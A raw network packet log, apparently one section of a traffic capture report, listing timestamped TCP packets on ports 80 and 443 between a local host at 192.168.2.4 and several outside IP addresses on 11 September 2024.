Sep 11, 2024 16:22:17.194072962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194082975 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194087029 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194098949 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194112062 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194119930 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194123983 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194135904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194147110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194154024 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194159985 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194178104 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194179058 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194190025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194200993 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194200993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194216967 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194231987 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194251060 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194392920 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.194403887 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.194413900 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.194425106 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.194437027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194443941 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.194447994 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194461107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194472075 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194483042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194490910 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.194494963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194495916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194508076 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194519997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.194531918 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.194535017 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194564104 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.194581985 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.194973946 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.194984913 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.195024014 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.195641041 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.195658922 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.195671082 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.195693016 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.195718050 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.195987940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.196000099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.196041107 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.196104050 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.196136951 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.196149111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.196160078 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.196182013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.196218967 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.196296930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.196309090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.196319103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.196341991 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.196371078 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.196481943 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.196532011 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.197137117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.197149992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.197160006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.197170973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.197181940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.197185040 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.197194099 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.197207928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.197210073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.197249889 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.197292089 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.197340012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.198038101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.198049068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.198060989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.198071003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.198093891 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.198134899 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.201767921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.201777935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.201816082 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.201847076 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.202198029 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.202234983 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.202672958 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.204194069 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.204219103 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.204519033 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.205352068 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:17.205383062 CEST	443	49746	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:17.205691099 CEST	443	49746	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:17.205751896 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:17.206775904 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:17.207741976 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.207788944 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.208519936 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.208591938 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.208945990 CEST	49747	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.209872007 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.209928036 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.210243940 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.210304022 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.210520029 CEST	49748	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.215545893 CEST	80	49747	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.216356039 CEST	80	49748	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.229141951 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229152918 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229162931 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229175091 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229186058 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229197025 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229207993 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229213953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229219913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229231119 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229243040 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229254961 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229265928 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229274035 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229286909 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229298115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229310036 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229316950 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229321957 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229334116 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229346037 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229363918 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229363918 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229387999 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229401112 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229413033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229424000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229434967 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229444981 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229458094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229485989 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229521990 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229592085 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229660988 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229672909 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.229702950 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229754925 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.229788065 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.229837894 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.229935884 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.229948044 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.229959011 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.229970932 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.229975939 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.229985952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.229998112 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230000973 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.230011940 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230026007 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230035067 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230043888 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.230046988 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230072021 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.230096102 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.230218887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230231047 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230272055 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.230367899 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230379105 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230390072 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230401993 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230410099 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.230420113 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230431080 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.230434895 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.230465889 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.234539032 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234601974 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.234627962 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234638929 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234649897 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234669924 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234679937 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.234682083 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234694004 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234707117 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234711885 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.234720945 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234733105 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234754086 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.234780073 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.234796047 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234833956 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.234865904 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234878063 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234889984 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234900951 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.234909058 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.234944105 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.239526033 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239537001 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239547968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239578009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239589930 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239594936 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.239600897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239612103 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239624977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.239628077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239639997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239660978 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.239686012 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.239711046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239763975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.239763975 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.239808083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.251414061 CEST	443	49746	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:17.254281998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.254301071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.254312992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.254323959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.254354954 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.254384995 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.259519100 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259530067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259541035 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259552002 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259563923 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259574890 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259593010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259593010 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.259604931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259619951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259628057 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.259630919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259644985 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259650946 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.259658098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.259673119 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.259695053 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.260221958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260234118 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260272026 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.260298967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260334969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.260359049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260382891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260392904 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.260416985 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.260581970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260628939 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.260787010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260832071 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.260901928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260914087 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260946035 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.260967016 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260974884 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.260982037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.260994911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.261003017 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.261007071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.261025906 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.261059999 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.263585091 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263597012 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263607979 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263664007 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263675928 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263684988 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.263684988 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.263686895 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263710022 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263721943 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263724089 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.263731956 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263744116 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263753891 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263767004 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263772964 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.263772964 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.263778925 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263791084 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263828039 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.263828039 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.263937950 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263948917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263959885 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263972044 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263983011 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.263993979 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264004946 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264013052 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264013052 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264015913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264033079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264045000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264056921 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264060020 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264070034 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264084101 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264095068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264098883 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264106989 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264106989 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264117002 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264146090 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264169931 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264494896 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264503956 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264514923 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264569044 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264569998 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264600992 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264612913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264631033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264642000 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264647007 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264652967 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264667034 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264669895 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264678955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264686108 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264692068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264705896 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264718056 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264729023 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264739990 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264745951 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264745951 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264780045 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264816999 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264827967 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264846087 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.264852047 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.264858007 CEST	80	49737	31.41.244.9	192.168.2.4
